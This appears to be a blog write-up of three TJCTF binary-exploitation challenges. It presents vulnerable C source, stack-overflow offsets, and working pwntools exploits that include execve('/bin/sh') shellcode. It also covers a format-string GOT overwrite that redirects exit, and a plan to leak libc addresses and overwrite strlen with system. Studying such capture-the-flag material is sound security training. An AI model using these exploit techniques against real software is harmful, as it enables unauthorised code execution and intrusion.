In this part, we are going to take a look at the last 2 of 5 original binary exploit challenges and 6th, more complex, challenge published later.
Online Banking
Let’s take a look at the source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PIN_SIZE 4
#define NAME_SIZE 32
int verify_pin(char* pin) {
char pin_check[PIN_SIZE+1];
printf("Please verify your PIN first:\nPIN: ");
fgets(pin_check, NAME_SIZE+1, stdin);
for(int i = 0; i < 4; i ++) {
if(pin[i] != pin_check[i])
return 0;
}
return 1;
}
char name[NAME_SIZE+1];
char pin[PIN_SIZE+1];
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setbuf(stdout, NULL);
printf("Welcome to our Online Banking system!\n");
printf("To use our system, please register an account with a 4-character PIN:\n");
printf("Name: ");
fgets(name, NAME_SIZE+1, stdin);
printf("PIN: ");
fgets(pin, PIN_SIZE+1, stdin);
while(getchar() != '\n');
unsigned int balance = 0;
printf("Thank you for registering! You may now use our service.\n");
char cmd = '\x00';
while(cmd != 'q') {
printf("\nWhat would you like to do?\n d - deposit\n w - withdraw\n q - quit\n");
cmd = getchar();
getchar();
if(cmd == 'd') {
if(verify_pin(pin)) {
char deposit_s[16];
printf("How much would you like to deposit?\n");
fgets(deposit_s, 16, stdin);
balance += atoi(deposit_s);
} else {
printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
cmd = 'q';
}
} else if(cmd == 'w') {
if(verify_pin(pin)) {
char deposit_s[16];
printf("How much would you like to withdraw?\n");
fgets(deposit_s, 16, stdin);
balance -= atoi(deposit_s);
} else {
printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
cmd = 'q';
}
} else if(cmd != 'q') {
printf("Unknown command!\n");
}
if(cmd == 'd' || cmd == 'w') {
printf("Your current balance is %u\n",balance);
}
}
printf("Have a nice day! Please come again soon.\n");
return 0;
}
Looking carefully we see that problem is in:
fgets(pin_check, NAME_SIZE+1, stdin);
We have obvious 28 byte overflow (NAME_SIZE — PIN_SIZE
). Using pwntools we can check for offsets,
>>> cyclic(30,n=8)
......
>>> cyclic_find('aaaaaaad',n=8)
17
which gives us RIP after 17 bytes. Checking binary for security measures we see that NX and PIE are disabled.
[*] '/root/ctf/tjctf/online_banking/problem'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Without PIE address of name
is going to be constant, so it is a good place to put our shellcode. We are going to use shellcode from shell-storm.org. Combining all this we get our solution :D.
#!/usr/bin/env python
from pwn import *
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
if __name__ == "__main__":
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ["terminator", "-e"]
pattern = cyclic(30,n=8)
print pattern
#r = process('./problem')
r = remote('problem1.tjctf.org', 8005)
print r.recvuntil('Name:')
r.sendline(shellcode)
print r.recvuntil('PIN:')
r.sendline('test')
print r.recvuntil('q - quit')
r.sendline('d')
#gdb.attach(r)
r.sendline('A'*17+p64(0x6010a0))
r.interactive()
Shellcode:
0: 31 c0 xor eax, eax
2: 48 bb d1 9d 96 91 d0 movabs rbx, 0xff978cd091969dd1
9: 8c 97 ff
c: 48 f7 db neg rbx
f: 53 push rbx
10: 54 push rsp
11: 5f pop rdi
12: 99 cdq
13: 52 push rdx
14: 57 push rdi
15: 54 push rsp
16: 5e pop rsi
17: b0 3b mov al, 0x3b
19: 0f 05 syscall
Secure Secrets
In this problem, we are only given binary, so one of the first steps is to use IDA and try to see how the program works. Two, for us, the most interesting functions are:
We see that the program has format string vulnerability in get_message
. Since to get our flag we just need to call get_secret
, we can simply overwrite GOT entry of exit
function (called at the end of main). Exploring stack we see that we can access our input at 35th position. Our exploit:
#!/usr/bin/env python
from pwn import *
def explore_stack(r):
p = 'A'*4
p += '%p'*29
r.recvuntil('>')
r.sendline("p")
r.recvuntil('>')
r.sendline(p)
r.recvuntil('>')
gdb.attach(r)
r.sendline("p")
def access_stack(r):
p = 'A'*4
p += '|%35$p|'
r.recvuntil('>')
r.sendline("p")
r.recvuntil('>')
r.sendline(p)
r.recvuntil('>')
r.sendline("p")
def overwrite_exit(r):
p = p32(0x804a02c)
p += '%34574c|%35$hn|'
r.recvuntil('>')
r.sendline("p")
r.recvuntil('>')
r.sendline(p)
r.recvuntil('>')
#gdb.attach(r)
r.sendline("p")
if __name__ == "__main__":
context.arch = 'i386'
context.os = 'linux'
context.terminal = ["terminator", "-e"]
#r = process('./secure')
r = remote('problem1.tjctf.org', 8008)
overwrite_exit(r)
#gdb.attach(r)
r.interactive()
Super Secure Secrets
This was the last binary exploit challenge in TJCTF. Like in the previous one we are not given source code, so we are going to use IDA to check how the program works. At first, IDA didn’t produce good results, but with a bit few manual changes we get the following:
Run file on binary:
super_secure: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=19eaa9a0ae168cebfc88191546db1f1da54328a4, not stripped
Checksec:
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled No PIE
Like Secure Secrets it also has format string exploit in get_message
function, but this time there is no function to call and get the flag. The second problem is that the program exits after getting a message first time, so we can’t do multiple reads/writes. All in all, this challenge was very similar to Config Console from PicoCTF 2017. We have to exploit it in multiple steps:
-
overwrite
memset
GOT entry with the address ofsecure_service
so we can use format string vulnerability multiple times. Sincememset
is called only afterprintf
, the address is not resolved at the time we trigger vulnerability for the 1st time so it’s enough to overwrite 2 bytes (%hn
). -
Leak address of
fgets
and__libc_start_main
to determine libc base address and calculatesystem
address. -
Overwrite GOT entry of
strlen
withsystem
. After this, we can just store the new message with content/bin/sh
and get the flag.
One of the problems in this task was how to overwrite strlen
. It has to be done in one go since partial overwrites would crash the program as strlen
gets called every time we want to store a new message. We also can’t put more than one 64 bit address in our message because of the null byte they contain. The solution was to use password
buffer. With PIE disabled it has constant address and as fgets
doesn’t stop on null bytes we could enter both addresses we need there (strlen
GOT and strlen
GOT +2).
The second issue was finding the correct version of libc. For this we can use libc-database. After cloning repo we have to run ./get
to download all configured libc versions and extract symbols. After that we can use it to query for correct libc with:
./find __libc_start_main ab0 fgets b20
We just have to provide a symbol name and last 3 bytes of address.
Comments
comments powered by Disqus